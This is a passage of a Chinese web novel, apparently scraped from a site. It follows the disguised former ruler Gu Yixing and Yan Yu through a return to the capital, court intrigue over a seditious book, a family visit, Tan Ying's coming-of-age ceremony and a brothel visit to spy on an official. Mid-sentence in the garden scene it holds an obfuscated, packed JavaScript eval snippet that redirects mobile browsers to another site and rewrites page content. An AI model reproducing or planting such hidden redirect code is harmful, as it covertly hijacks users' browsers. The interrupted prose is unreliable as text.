然则言煜如此在意此事,却并非只因那添油加醋的八个字,而是此人……着实不简单。 “陆耳来信后,我便命人细查此人身份。”言煜薄唇轻抿,微微抬眸,有意端视孤弈行反应,“发现此人真实身份实为襄国公嫡长子韩嵩。” “谁?”孤弈行方才正在喝水,听到韩嵩二字一时呛住咳嗽了两声,一脸的难以置信,“韩嵩?” 哪个世家子弟不好,竟偏生是那襄国公之子韩嵩!这世间有些时候还着实是小! 这下孤弈行算是明白言煜为何是这般反应了。 当时她在位之时坊间传言与她纠葛最深的便是这韩嵩,尤其是那一出一箭收男|宠的故事,更是传遍大街小巷,就连她尚在峨眉都有所耳闻。 虽说她是真不记得有这号人物,但此次又在军中相遇交手,再加上陆耳那添油加醋的功夫,孤弈行想想便知言煜心中有多不自在了。 孤弈行长叹一口气,随即挤出一丝笑意,扯了扯言煜的衣袖:“言大人这是……生气了?” 言煜嘴角微噙,只眼睁睁看着孤弈行一番动作。 孤弈行见言煜消了气,仔细回想起来忍不住双手抱胸,闷哼几声:“我就不明白了怎么哪儿都有这个韩嵩啊?” 孤弈行瞥了一眼言煜,继续委委屈屈道:“我根本就不认得此人,再说就算认得,也自不如言大人这般形貌昳丽,风姿隽爽,如清风朗月得我心意。” 言煜本也没有生孤弈行的气,只是心中略有不顺,此时声声入耳,嘴角忍不住微微勾起。 孤弈行心知此计得逞,再说下去未免太过夸张,便见好就收:“再者当年是否有此事,言大人自当比我更清楚些。” “既然洛郡尉与言煜两情相悦,回京后便应知人言可畏。”言煜抬眸,言如温玉。 果真是醋缸子!这是变着法地告诉她不要与旁人走得过近呢!孤弈行真是越看面前之人 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“不如我们换个地方,或许你就明白了。” 孤弈行笑着将韩嵩带往一个隐蔽无人的角落,言煜已然在此处静候多时。 韩嵩未曾料到言煜会在此处,眼神中闪过些许惊异,却并无薄怒。他知晓自己身份已然瞒不下去,便道:“言大人。” “韩公子,现在可以和我谈谈了吗?” “将军想知道些什么?襄国公府的事想必言大人比我更清楚些。”韩嵩薄唇轻抿。 事已至此,孤弈行便开门见山:“据我所知襄国公府男丁女眷早已流放琼州,韩公子缘何出现在此?” “我逃过了圣上耳目,让府中仆人做了我的替身,便来了幽州。”韩嵩如实答道。 孤弈行微微颔首,双手抱胸:“你想报仇?” 出乎孤弈行的意料,韩嵩的眼神流露出一丝忧郁,却未见半分偏执,声音低沉:“不是。” “家父贪赃枉法,罪无可恕,我也曾劝阻多次却始终未果,最后……”韩嵩长叹了一口气,良久抬眸,“此事言大人只是秉公执法,并无错处,更何况若非言大人谏言相劝,韩家恐怕已经满门抄斩。” 孤弈行没想到韩黎这般的贪官奸臣竟能生出韩嵩这般明事理的儿子,一时有些惊讶。 “既如此,韩公子缘何参军?” 韩嵩微微转身,远眺道:“山河飘零,受难的终归是百姓,我只想尽绵薄之力替家父赎罪。” “然则我亦听闻圣上遣散诸多老臣,反让奸臣当道,以致举国上下如一团败絮人人自危,我亦不明。”韩嵩耳根微微泛红,言至此处不禁言辞激荡。 “既如此,不妨改变这个世道。”孤弈行眼尾微微上扬,拍了拍韩嵩的肩膀,朱唇微启。 韩嵩很快反应过来,警惕地环顾四周,定了定神:“莫非将军……” “将军虽是女儿身,气魄却不输当年先帝。将军打算让我如何做?” 孤弈行嘴角微勾,笑道:“韩公子的身份特殊,不便随我回京,不如留在幽州,亦有一番用武之地。” 50. 回京 五日后,孤弈行与言煜率领三军行至京都洛阳长武门外,城门大开,三军入城。 孤弈行骑马入城,街道两旁不少百姓出门迎接,一时人声鼎沸。 分明是相似的场景,孤弈行如今只觉物是人非,恍若隔世。 距离她上一次率军入城已然过去了整整七年,届时她正值二八年华,鲜衣怒马,何等恣意。如今的她,却是沉稳了不少,对自己也更心狠了些。 这一回,她便是要来拿回原本属于她的东西,将这个荒唐的世道踩在脚下。 孤弈行环顾四周,却在人群里望见一个熟悉的背影。 纵然他的脊背弯曲了些,容貌更是显得苍老不堪,孤弈行还是一眼认出了苏护。 苏护着苍蓝色便服,背手直身,分明是不到五旬的年纪,却早已老气横秋,毫无半分当年志在千里的模样。 孤弈行一时心如刀绞,她抿着薄唇,此时苏护恰好抬头望见她,似是微微愣神。 她如今以另一副面孔示人,孤弈行并不清楚他是否认出了自己,或者他更是像是透过自己想到曾经的那个人。 孤弈行微微侧身去,轻声道:“苏老将军近日如何?” 言煜知此事瞒不住她,便直言:“圣上以老将军旧疾在身为由将其留在京都,实则罢了老将军的兵权。” 如她所料,只是声声入耳,她依旧心存惋惜。 就在此时,不远处来了人。孤弈行定睛一看,为首的张公公她曾在武延城见过一面,是以便知晓是宫里的人。 “二位……二位大人留步……”似是走得急了些,张若茂连连喘气,道。 “张公公来此所为何事?”孤弈行敛了神色,微微勾唇。 “陛下召言大人和洛将军觐见。”张若茂扶着胸膛顺气,道。 孤弈行眼尾微微上扬,装作一番不谙世事的神态,笑道:“长途行军直接面见陛下怕是失礼,不如我先去洗漱一番再入宫觐见。” “诶哟我的洛将军呐!陛下派洒家接您与言大人入宫,您这是要洒家的命呐!”张若茂几乎急出了眼泪,声音更是阴柔尖细,“诸位大人与陛下都在太和殿等着呢!” 孤弈行眯了眯眼。此时已近申时,按理说早已过了早朝的时辰,看来喻威是早有准备,有意如此。 “既如此,烦劳公公带路。”孤弈行笑道。 “好!好!”张若茂很快收了眼泪,换上一张笑脸,“二位请。” 半柱香的功夫,二人抵达太极殿外,张若茂先行小步入内。孤弈行将佩剑交出,随即在门口等候宣召。 “宣吏部尚书言煜,靖宁将军洛川觐见!” 孤弈行勾唇,淡然一笑,与言煜一同进入殿中。 太极殿内,群臣的目光几乎都不约而同地落在了孤弈行的身上。毕竟是雍朝开国以来,第一位受诏入太极殿的女将军,众臣都想亲眼一睹此人是何模样。 孤弈行目光掠过,倒也是见到了不少熟悉的面孔。 “臣言煜参见陛下!吾皇万岁万岁万万岁!” “臣洛川参见陛下!吾皇万岁万岁万万岁!” 喻威背靠龙椅,身体微微前倾,眼睛浅眯。五年安卧龙椅,执掌天下,为其养出了几分威严雍容,但骨子里的猜忌却不少半分。 他抬头仔细地打量殿下的女子,见其长发高束,一身戎装,英姿飒爽,远远望去隐有几分故人的影子。 “两位爱卿平身。”喻威声音低沉。 “谢陛下。” 待到殿下女子起身,喻威才看清了她的脸,见是一副柳叶眉,一双并无攻击意味的杏眼,望去却有几分楚楚动人,然则并不明艳,没入人群中当与他人无异。 喻威眉头微微舒展,长舒了一口气。 “两位爱卿长途奔波,想必身体疲倦,朕本欲让两位爱卿回府修整片刻,只是诸位大人心意甚切,朕便也顺水推舟了。”喻威勾唇笑道。 孤弈行浅笑不语。 “既如此,诸位爱卿若无事,便退朝。” 孤弈行心知若安然无事,以喻威的性格绝不会在她和言煜入城之后便派张若茂传旨,是以她未动分毫,神态自若。 “微臣有本要奏!”太傅蒋闻年最先站了出来。 孤弈行闻声识人,心道祸害遗千年,此时站出必有祸事。 “爱卿有何要奏?” “近日市集中传出一本话本,其中一页的右下角隐写着‘雍朝势微,凤云当道’八字,实在是妖言惑众!”蒋闻年言辞激荡,道。 殿下众臣一时面面相觑,面色铁青。 此八字代表什么,众人皆心知肚明。 所谓雍朝势微,自好理解,即雍朝大势已去,而这凤云当道之中的凤字自是容易令人联想到此前的凤朝,还有那位已然成为忌讳的先帝。 此八字连在一起,便是暗讽雍朝即将覆灭,而之后一统天下之人正是前朝先帝。 何人不知先帝名讳是当今圣上的一块心病?如此大逆不道之言,无论何人被牵扯,恐怕都是轻则满门抄斩,重则株连九族之罪! “呈上来,给朕瞧瞧。”喻威眸色渐沉。 张若茂随即从蒋闻年手中接过书册,递到喻威手中。 殿内气氛顿时格外压抑,静得似能听见众人的呼吸声。 “蒋爱卿以为当如何?” 蒋闻年眉头紧锁哀叹,一副痛心疾首的模样:“陛下为大雍呕心沥血,此人竟敢说出如此大逆不道之言!实在是死不足惜!望陛下下令彻查!” “言之有理,依蒋爱卿所见何人能担此重任?”喻威声音沙哑,威严尽显。 “洛爱卿以为如何?” 孤弈行早有准备,上前一步欠身憨笑道:“此事自是当细查,只是臣一介粗人,只会听从陛下调遣带兵打仗,其他的臣着实有心无力。” 见洛川是个骨头软的,喻威心中郁结顿时消散了不少。 “焕卿以为如何?” “虽事出有因,陛下宽仁,然此一行臣亦犯了抗旨不遵的大罪,臣当自省己过,妖书一案蒋大人比臣更合适 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“蒋大人,您这薄礼未免重了些,洛某着实收不下啊!”孤弈行取了一颗夜明珠在手中细细观赏,见其色泽温润如玉,似有月光在表面流转,极奢极美。 蒋闻年假意咳嗽一声掩饰尴尬,面如土色。 方才跃跃欲试的官员此时都拂了拂衣袖,不再作响,恨不得无声离去。 孤弈行伸手轻拍蒋闻年的肩膀,将紫檀木盒递回其手中,眉眼轻扬,肆意一笑:“蒋大人的心意洛某领了,大家都为陛下效力,便是同僚,互相找看自是应当,礼物洛某便不收了,想必诸位亦能体谅。” 好不容易有了台阶,蒋闻年面色逐渐转好,笑道:“是是,我等都能体谅将军苦心。” 孤弈行连连颔首,笑意更甚:“既如此,诸位同僚慢走。” 第一次被当面下逐客令,众言官武将面子上多少有些挂不住,然则当着言煜和洛川的面也不好当场发作,只得假笑着拂袖而去。 “你倒是有本事,一来就把人都得罪了。” 孤弈行抬眸,见言煜嘴上这般揶揄她,嘴角却藏匿着几分笑意,连带着如黑曜石一般的眸子也染得几缕光亮。 孤弈行双手抱胸,眼底余光微转,勾唇道:“既然他想让我做孤臣,那我不妨一次做绝,免得多事。” “他今日演这一出戏,看似是为迎你回京,实则是为试探。”言煜敛去了方才神色,薄唇轻抿,“不过如今看来他已打消了一些疑虑。” 孤弈行颔首:“他是想借此告之所有人我是他的麾下,誓死效忠于他,如此一来从前忠于我的人,还有刚正之臣自会对我心怀芥蒂。” “只是他以为自己掌控了所有人,殊不知……”孤弈行冷冷地笑了,眸色渐凉,竟似比霜雪更甚几分。 言煜静静地望着她,心绪难平。良久,他垂眸柔声道:“将军府尚未收拾妥当,不如今日在言府暂住一日?” 孤弈行似是未曾料到,微愣,待回过神来眉心微挑,笑意勾人:“如此甚好。” 51. 言府 孤弈行随言煜上了宫门外的马车,不到半柱香的功夫便到了言府门外。 孤弈行下了马车,抬眸便望见那块熟悉的牌匾,竟还似当年模样。 只是若她不曾记错,自己上一次拜访京都言府还是言钟正旧疾复发自请辞官回乡之时,一晃时间已然过去了将近七年,的确是物是人非,令人忽生感慨。 “主君回来了。” 门口穿着浅蓝色布衣的小厮见言煜欠身道,然而下一刻他的目光却落在一旁的戎衣女子身上,眼神流露出几分惊异。 “去和母亲禀报一声。”言煜温言道。 “是。”那小厮这才敛了目光转身快步而去。 言府的一处庭院里,一妇人正坐着品茶。她身着墨绿刺绣交领长裙,眉似柳叶,一身文气不乏端庄,纵然发髻之中隐约可见几根银发,却依旧可见当年过人风姿。 “老夫人……” 沈宣清听得背后声响,放下手中茶碗,缓缓侧身:“何事?” 那小厮一路快走险些岔了气,此刻脸色涨红,下意识轻抚胸膛道:“回老夫人的话……主君回来了!方才已经到门口了。” “煜儿回来了!”沈宣清陡然起了身,缓缓踱步,眼底满是欢喜之色,“那我可得亲自下厨,给煜儿做些他喜欢吃的饭菜。” “只是老夫人,主君……不是一个人回来的。” 沈宣清微微愣住,随即回过神来笑道:“你是说赵霖吧,这孩子从小就常与煜儿走动。” “回老夫人……”小厮缓缓抬头眼神有些躲闪,嚅嚅道,“不是赵少爷,是个年轻的女郎。” 话音未落,一旁伏着桌面的言云芮再也按捺不住,几乎是跳着起了身,眼眸忽闪,眼神里满是不可思议:“你是说我哥带了个年轻女郎回来?” 小厮猛地点了点头。 将近七年时间过去,当初的小丫头如今已然是十八九岁的女郎,出落得清丽明媚,楚楚动人,却依旧保留了几分当年的纯真。 半晌,言云芮回过神来双手叉腰,忿忿不平道:“哥还说他从未忘记,未曾想竟也是这般见异思迁之人!我倒要看看,他带来的女郎有多么天姿国色!” 沈宣清亦立在原地,几乎以为自己听错了,只因自从先帝失踪后,这五年来言煜再未曾亲近过其他女郎,更不必提领女郎入门了。 起先沈宣清也曾想要替言煜牵线,但都被婉言相拒,她便知其心已定,无法强求,时间久了,她便也不提了,不成想这一回言煜竟主动领了女郎上门。 想到此处沈宣清不禁嘴角含笑,心中却顿生一番思量。 此刻另一边言煜引着孤弈行入了内院,替她沏好了一杯茶,递到她手中,抬眸浅笑:“这里的一切,可还熟悉?” 孤弈行颔首,脑海中不自觉回忆起当年的情景,笑容肆意:“自然熟悉。” 随即压低了音量,挑眉轻笑:“当年翻过墙头,可不能忘。” 春光如泄,落在女子雪色的肌肤上,透过光影隐约勾勒出记忆中故人的容貌。言煜的目光从始至终不曾移开,在她的一鼙一笑间笑意逐渐浓重。 孤弈行抿了一口茶,隐约听闻背后传来一阵脚步声,便转身望去。 言夫人还是当年模样,孤弈行一眼便认出,倒是一旁的言云芮变化颇多,不再是当年那个跟在她身后的小丫头了,望着很是惹眼,她便没忍住仔细打量了一番。 沈宣清抬眸望去,见年轻女郎着一身戎装,皮带束腰,如瀑的墨发用卷纹玄银莲花冠挽了个干净利落的高马尾,眉眼之间更是英气逼人。 分明是截然不同的容貌,沈宣清却仿佛透过面前的女郎见到了另一个人的影子,不自觉有些出神。 “母亲。”言煜见沈宣清一时失神,欠身轻唤道。 声声入耳,沈宣清这才回过神来,轻轻抚了抚言煜的肩膀,笑道:“煜儿回来就好。” “在下洛川,初次登门略备薄礼,还望伯母笑纳。” 孤弈行眉眼轻扬,起身笑着从袖中取出一只小巧玲珑的铜胎掐丝珐琅八角香盒递到沈宣清手中:“这是根据秘方调制的安神香,想来会对伯母有益。” “煜儿,这位是……”沈宣清浅笑着侧身望了眼言煜,随即又打量起面前的女子来。 “母亲,这位是陛下新封的靖宁将军洛川,这次武延城能守住便是多亏了洛将军。”言煜微微勾唇。 话音未落,一旁的言云芮打量的眼神之中似是少了几分敌意。 沈宣清颔首道:“洛将军果真是女中豪杰,巾帼不让须眉。今日也是有心了,快坐。” “母亲,将军府尚未收拾妥当,我去命人在府内收拾间屋子出来。” “好……去吧。”似是未曾料到对方今晚会留宿言府,沈宣清微微愣住,然则回过神来笑意更盛。 “洛将军这次回京都打算住多久?”沈宣清笑道。 “不曾知晓。”孤弈行朱唇微启,转眄流精,“这恐怕要看陛下的意思。天下若有战事,便即刻动身,刻不容缓。” “这位便是言小姐吧?果真生得一副好模样,讨人欢喜。” 沈宣清笑着颔首:“小女自幼顽劣,洛将军谬赞。” 这时一旁走来一位着深褐色布衣的老奴,沈宣清便起了身笑道:“我去灶房做点煜儿喜欢吃的饭菜,云芮替我招待好洛将军。” “放心吧娘。” 待到沈宣清的背影消失在二人视线之中,孤弈行见言云芮上前一步走到她身前,一副软硬不吃的模样,缓缓开口:“将军你看着是个好人,又何必夺人所好?” 这丫头还是像小时候那么有意思。 孤弈行挑了挑眉,双手抱胸,很是耐心地笑道:“何来夺人所好一说?” 谁知言云芮直接凑到她耳根边上,一字一句轻声道:“劝你放弃吧,我哥心里有人了!” 孤弈行眉眼微微上扬,一副看热闹不嫌事大的模样,同样学着言云芮的模样在耳畔轻声道:“谁呀?” 言云芮下意识就要脱口而出,然 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“潭胜此人忠勇正直,定是听闻你死守武延一事心生结交之意。” 孤弈行转身,方才出神竟不知言煜何时立在她身后,只是他一改往日神态,眉头微蹙。 “你们都先下去吧。” “是。” 众人离去,院内一时只剩下孤弈行和言煜二人。 孤弈行便知言煜接下来所要说之时势必与那位有关。 “只是陛下早已心生疏远此人之意。”言煜薄唇轻抿,凤眼深邃令人看不分明,“或许……辞官回乡才是唯一出路。” 言煜的话令孤弈行回想起无数权臣在辞官回乡的路上遭遇歹徒意外身亡之事。 可这世上哪儿有这么多歹徒?不过是那位的借口罢了,那位的手段还真是一如既往地狠辣。孤弈行嘴角渗出死死冷笑。 然则孤弈行心中却有一疑问:“魏将军不曾察觉?” 言煜眸色渐冷,淡淡道:“魏将军忠勇,即使察觉也只能自欺欺人罢了。” “明日我会找机会相劝,只是事成与否依旧在于魏将军的心意。” 孤弈行微微侧身远眺,见天光已然消逝,晚霞的余光染红了云端却推不动恍若停滞的暮云,映着古朴宁静的庭院反衬出一片惨寂。 忠臣如此……这天,真该亮了。 皇宫,御书房。 “听说退朝后洛川和言煜一同回了言府?”喻威微微挑眉,嘴角流露出一丝玩味的笑。 “是,有人亲眼所见。” 喻威缓缓放下手中的书简,从紫砂金丝木叶纹盘上盛着的一串葡萄中摘了一颗放入手心把玩:“言煜为人清正,这么多年了,朕每次赏人他都百般推脱,婉言相拒,说起来朕却从未见过他心悦哪家女子。” “看来不是不近女色,而是心中无人呐!”喻威眼神微动,眼眸深邃好似鹰隼。 “这个洛川……果真有意思!” 52. 及笄礼 次日是怀阳大将军潭胜将军之女潭莹及笄的日子,潭府一早便张灯结彩,潭府外更是围了不少想要借机看热闹的百姓,然则真正受邀进入府中的宾客却寥寥无几。 孤弈行心知肚明,并非是潭府的帖子没有发到一众名门望族手中,而是大多数人深知当今圣上对潭胜的态度都对潭府避如蛇蝎,自然是不会来的。 孤弈行掀开马车车帘的一角,远远望见守在门口的皮肤黝黑的中年男人,心中不由得泛起一阵感慨,想来这便是潭胜了。 “走吧。” 声声入耳,孤弈行回过神来,见一旁坐着的言煜向自己伸出了手。 孤弈行怅然一笑,点了点头,反握住他的手。 “潭将军,恭喜啊!” 潭胜听得不远处传来干脆利落的女声,抬眸见来者着一身紫罗兰流云纹束腰长袍,墨发以莲花冠挽了个干脆利落的高马尾,一身江湖女子的打扮,观之英气逼人。 “这位是……” 潭胜仔细地打量了一些面前女子,很快回过神来,唇角含笑:“想来是靖宁将军吧,潭某听闻在武延一战中将军誓死不退故而心生敬佩,昨日便遣人去送了请帖,不成想靖宁将军今日竟赏脸前来,欢迎欢迎!” “在带兵一事上洛川终究是晚辈,既是潭将军相邀洛川岂有不来之理?”孤弈行勾唇一笑,微微拱手,随即从衣袖中取出一个木盒递到潭胜手中。 “今日是潭小姐及笄,木盒中是洛川的一点心意,还望潭将军代为收下。” 潭胜接过木盒,爽朗一笑:“靖宁将军有心了,既如此,潭某却之不恭!” 方才与洛川交谈甚欢,潭胜倒是忘记了洛川身后还站着一人,此时回过神来笑容憨厚:“方才与靖宁将军一见如故就多说了几句,不成想冷落了言大人,言大人勿怪。” 言煜浅笑着摇了摇头,将一只红旗木盒递到潭胜手中:“自然无妨,这是言某一点心意。” 潭胜有些受宠若惊,笑道:“二位客气了,时候差不多了,想来也没什么人,潭某便引二位入府吧。” 潭胜分明是笑着,可不知为何,孤弈行竟从言语之间感受到了一丝无奈与凄凉。 她抿唇点了点头:“好。” 言罢潭胜引着孤弈行与言煜入府落座,这时孤弈行才发现周围落座的宾客之中并无熟悉的面孔,穿着打扮也不像是来参加及笄礼的,甚至有几个身着布衣……倒像是府里的下人。 反观潭胜似乎丝毫没有被影响,望向孤弈行与言煜一脸笑意道:“让二位见笑了,今日小女及笄,来的贵客只有二位,是以谭某便让家中下人围坐一旁,如此也不必浪费了丰盛的酒席。” 果然如孤弈行所料。 孤弈行浅浅一笑,微微侧身见不远处走来一位身着墨绿箭袖长裙的少女,想来便是潭胜之女,今日及笄礼的主角潭莹了。 与寻常闺阁女子不同,墨绿没有将少女的颜色压了去,反而衬得她多了几分英气。 将门之女果然不同寻常,孤弈行倒觉得相比温温柔柔的闺阁小姐,面前这位更合她的眼缘,只因从她的身上她似乎能看到从前自己的影子。 潭莹在下人服侍下以盥洗手,而后立于场地正中央向孤弈行与言煜行揖礼,揖礼完毕后便跪坐在软席上,等待赞者为其梳头。 孤弈行在台下观看及笄礼,不自觉微微出神。 “怎么了?可是哪里不舒服?”言煜见孤弈行有些反常,轻语道。 孤弈行勾了勾唇,恣意一笑:“我只是想到了从前,说来你或许不相信,我的及笄礼是在军营里办的。那时他很忙经常几个月不见踪影,是以姑姑便替我简单办了个及笄礼。” “后来……”孤弈行眸色微沉,长舒了一口气,良久眉眼轻扬,“过去的事不说也罢。” 其实后来的事孤弈行不必说,言煜知晓,天下人也无一不知。祁王孤尧章受令进京,却在回京途中遭遇刺杀,一代忠臣良将就此落了个黄土埋骨的下场,而这一切的幕后黑手便是当时的天子永徽帝。 当年年仅十六的她临危受命成为祁国历史上最年轻的王,而后卧薪尝胆两年,一朝兵临城下替亡父报仇雪恨,也坐稳了这江山。 世人大多熟知她的累累战功,但他们大多都忘了她背负了原本在她这个年纪不该背负的太多东西。称王那一年,她也只有十六岁。 思及此处,言煜心头一阵泛酸。他伸手握住孤弈行的手,眼神真挚:“但是现在你并非孤身一人。” 孤弈行感受到他指尖的温度,心中亦有一股暖流涌上心头。她点了点头,眼尾微微上扬。 及笄礼成,潭胜便开始招待孤弈行和言煜。潭胜是个直爽的性子,经过几番推杯换盏便与孤弈行和言煜知无不言,相谈盛欢。 “昨日我也给苏老将军发了请帖,若非他旧疾复发今日想必他也会前来。”谭胜笑道。 提及苏护,孤弈行不由得回想起骑马经过长街时望见的那个苍老的背影。她唇边的笑意逐渐隐去,心情顿时有些沉重。 “靖宁将军想必也听过苏老将军的名讳吧?”潭胜见对方微微出神,随口一问。 声声入耳,孤弈行思绪回笼,恢复了往日神态:“自然。” 潭胜点了点头,放下手中杯盏,感慨道:“想当年苏老将军驰骋沙场的时候,我潭某还只是一个新兵蛋子!这么多年过去,我潭某也快要垂垂老矣了……” “如今天下看似太平,可却……”潭胜长叹了一口气,不自觉眼眶微红,随即将杯中琼浆一饮而尽,“我潭某终究是没有赶上好时候,若是……” 虽说此处是潭府,但终究是隔墙有耳,孤弈行见潭胜再喝下去快要醉了,便与言煜对视,笑道:“洛川初来潭府,不知潭将军可否带洛川四处逛逛?” “好!那我便带靖宁将军和言大人好好逛逛!”潭胜脸颊微红,答应得很是爽快。 言罢潭胜屏退了下人,带孤弈行和言煜朝着后花园而去。 此时已然入春,风传花信,潭府后花园虽不大,园中百花却也是开得正艳。 “今年这花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828764|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开得真是好……” 潭胜望着后花园里百花争艳的景象面露喜色,突然脚下一个踉跄,身子向一处倒去幸而被孤弈行扶住。 “潭将军日后有何打算?”孤弈行朱唇微启。 “打算?”潭胜愣了一下,眼神混沌,随即挥了挥手笑道,“眼下天下可不太平,就说那边关要塞玉临关和嘉南关如今还在那匈奴手里……” 不知为何,孤弈行透过那双经过岁月沧桑而微微浑浊的眸子竟感觉到一种从未有过的悲凉。下一刻,她见他微微仰着头,不知在思量些什么。 良久,他缓缓开口,声音低沉,却夹杂着些许戏谑的意味。 “国不国……但潭某既身为武将,便有职责捍卫国土。” 声声入耳,孤弈行心知潭胜心意已决,她不忍心说出相劝之语,也深知自己不必再劝。 潭胜的骨子里终究是傲的,他不退并非不明,而是怕自己若是退了,自己的心会不安,更怕百年之后自己在世人的言语之中挺不起脊梁。 “今日与靖宁将军一见如故,潭某有一不情之请。” “潭将军但说无妨。” 潭胜笑着点了点头:“小女潭莹自幼顽劣,但颇喜武学,潭某有意让小女拜靖宁将军为师,不知将军意下如何?” 孤弈行迎上潭胜的目光,眉眼坚毅:“洛川定不辜负潭将军信任。” 孤弈行离开潭府,回将军府的路上未坐马车,而是与言煜并肩而行。言煜知晓她心中难受,便也没有相劝,只是陪她一路同行。 二人一路穿过长街,孤弈行却隐隐看见一个熟悉的身影。 “蒋大人,您可是好久没来我这散花楼了呀!快里边请!” 孤弈行循着声音望去,见灯火通明的散花楼外,身着胭脂罗裙,穿金戴银的三十岁左右的女楼主正摇|着身子,朝着矮瘦的中年男人卖笑,随后那男人便被拥着进入了散花楼。 孤弈行看得清晰,那中年男人正是蒋闻年。 “接了妖书案,蒋大人倒是清闲得紧,还有心思来散花楼。” 言煜自然也认出那人是蒋闻年,唇角微微勾起,意味不明。 孤弈行眉心微挑:“既然来了,不如听听他查得如何了。” 言煜听出孤弈行想要进入散花楼一探究竟的意味,连连咳嗽了两声,轻声道:“今日……有些晚了,不如……” 反观孤弈行没有半分不自在,双手抱胸道:“机不可失时不再来,再说我穿的本就是男装,有何不可?” 言罢还未等言煜反应过来,孤弈行便拉着他的手快步走到了散花楼楼前。 那身着胭脂罗裙的女楼主见来者衣着光鲜,想来又是京中数得上号的大客户。而后定睛一看,竟认出了其中一人,言语之间有些惊喜,却又夹杂着些许诧异。 “言公子您可是五六年没来奴家这楼里坐坐了啊!今日怎么得空来了?” 女楼主甩了甩香帕勾唇一笑,就差整个人扑在言煜身上了:“要奴家说,如今是不是该叫言大人了?” 53. 错戏 声声入耳,一旁的孤弈行玩味地挑了挑眉,双手抱胸静看好戏。 言煜不成想对方这般热情顿时身子一僵,而后猛然向后退了一步,那女楼主不成反应过来差点摔了个踉跄。 女楼主见对方丝毫没有怜香惜玉的念头,懊悔地甩了甩帕子,随后目光落在了另一旁的年轻小郎君身上。 她见那小郎君生着一双顾盼含情的杏眼,眼尾微微上扬很是勾人,又身着紫罗兰流云纹束腰长袍,整个人有种说不出的慵懒风流,就连站在素有天下第一公子之名的言煜身旁也丝毫不输,她顿时对其有了几分兴趣。 “好生俊俏的小郎君呀!但看着似是有些面生,不如言大人给奴家介绍一下!” 女楼主围在孤弈行身旁,二人距离离得很近,孤弈行甚至能清晰地闻到她身上甜腻的胭脂香气。 言煜见女楼主一脸要把孤弈行吃了的样子,故意咳嗽了一身将其护在身后,抿唇浅笑道:“这是我新结识的小兄弟,第一次来便不劳楼主费心了。” 女楼主见对方软硬不吃顿时没了兴致,转身要走,却被人从身后拉住了手腕。她心中又惊又喜,转身一看,正是那位年轻的小郎君。 原是孤弈行径直绕开言煜,上前抓住了对方手腕,勾唇一笑:“姐姐莫怪,我大哥不解风情不会说话,可我却不忍心拒绝姐姐的好意。” 声声入耳,言煜眸色微沉。 孤弈行察觉到言煜有几分异样,但却没有就此收手,抚着女楼主的手背道:“不如姐姐为我与大哥准备一间上房,我也好与姐姐说说话。” 女楼主受宠若惊,连忙应下:“那自然好!方才二楼有贵客订了雅间,但雅间西侧还有一处上房,我这就命人给小郎君和言大人收拾出来。” 言罢,女楼主吩咐身旁的两位小娘子:“带二位贵客去上房。” “是!” 孤弈行原本走在前面,言煜过了片刻绕到他身旁,细声道:“多一事不如少一事,何必再去招惹?” 言煜的语气如和风细雨并无责怪之意,但孤弈行此刻却只想逗逗面前这人,便故意笑着不答反问:“方才听女楼主的话……言大人从前似乎是这儿的常客?” 言煜抬眸对上那双自带风流的桃花眼,心中顿时有些乱了分寸:“你误会了,我与赵霖来这只喝酒,从不逾矩。” “是吗?”孤弈行挑了挑眉。 二人言语间,两位小娘子带二人来到了上房门口。 “二位稍候,楼主一会便来。” 孤弈行回想起方才女楼主说的话,又见东侧雅间房门禁闭,随口道:“这东侧雅间看着也不错,今晚若是无人,我们一并要了。” 其中一位小娘子微微欠身:“公子实在抱歉,隔壁的雅间有人了。” 孤弈行笑着勾了勾唇:“那……可否与里面的贵客商量一番?” 小娘子顿时面露难色,良久凑近了些:“不瞒公子,楼主说里面坐着的是一位大人,得罪不得,实在抱歉。” 大人……想来就是那先他们一步来此的蒋闻年了。是以孤弈行唇角轻勾:“明白了,多谢二位。” 两位小娘子微微欠身,随即转身离去。孤弈行推门而入,二人入了上房,而后带上了门。 孤弈行靠着墙壁本想听些隔壁的动静,却不成想这上房的隔音做得倒是不错,只听到一些极细微的声响,当是有人说话,但究竟说了什么听不清楚。此时此刻,孤弈行倒是无比怀念有陆耳在的日子。 孤弈行推开门,走到门外长廊上,里面的动静反倒是听清了些,但依旧断断续续的。她隐约听见里面的中年男人在唤“阿柔”,想必是里面小娘子的名字。 孤弈行一脸嫌弃地啧了啧嘴,而后望见女楼主从楼下端着一盆果盘要往上走,便推着言煜回了上房带上了房门。 果然没一会,女楼主端着一盆果盘走了进来。 “方才处理了一些事,二位久等了。”女楼主陪笑道。 孤弈行心中想着那蒋闻年的事,故意笑道:“不知楼主这散花楼开了多久了?” 女楼主笑着给孤弈行递了一串葡萄,怀念道:“想来……应有整整七年了。想当年,奴家还是个小女郎,现在……难免有些人老珠黄了。” “姐姐这样的美人若是都说自己人老珠黄了,可让其他女子怎么活啊?”孤弈行眼尾微微上扬,极为风流恣意。 此话正中女楼主心怀,逗得她合不拢嘴:“小郎君嘴真甜。” “我素喜听戏,原本听说散花楼有戏台,今日本想着见识一番,怎得刚才进来发现竟然荒废了。”孤弈行长叹一口气,似乎觉得很是遗憾。 女楼主闻言愣了一下,随即身子向孤弈行那一侧靠去,眼含笑意,情意绵绵:“小郎君有所不知,这戏台的确荒废了有一两年了,但若是小郎君喜欢,奴家也可想想法子让底下人为你演上一出。” 孤弈行微微蹙眉,欲迎还拒:“我只是觉得有些可惜,却不想叫姐姐为难,还是罢了。” 听得对方如此贴心,女楼主更是坚定了心意:“小郎君不必说了,我这就去叫底下人操办起来,小郎君等着听戏便是。” 言罢,女楼主转身下了楼。 一旁,言煜的目光从始至终落在孤弈行身上不曾移开。 他自然知晓孤弈行不会无缘无故让女楼主安排一出戏,他曾听闻蒋闻年是个戏痴,颇喜听戏,孤弈行此举只怕是想引蒋闻年走出上房,好在一旁听他酒后吐真言,说出些关于妖术案的进展。 